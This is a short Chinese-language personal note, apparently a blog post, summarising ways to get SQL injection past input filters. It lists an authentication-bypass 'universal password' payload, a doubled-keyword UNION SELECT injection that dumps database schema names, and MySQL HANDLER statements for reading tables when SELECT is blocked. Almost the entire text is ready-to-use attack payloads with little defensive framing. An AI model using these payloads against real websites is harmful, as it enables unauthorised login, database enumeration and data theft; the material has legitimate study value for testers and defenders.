【SQL 笔记】绕过技术总结

仅为个人记录，菜是一定的 QAQ

万能密码篇

php

'or'1'='1

过滤篇

字符串过滤篇

删除性过滤

如果是只过滤字符串，那么最简单的绕过方法就是双写绕过，如过滤or union select

那么构造就要如下所示，这里以查库为例：

' uniunionon selselectect 1,2,group_concat(schema_name) from infoorrmation_schema.schemata#

正则过滤篇

过滤 select

mysql

正则过滤 select 的话，只能使用 handler 来进行绕过，语句如下：

handler table_name open;
handler table_name read first;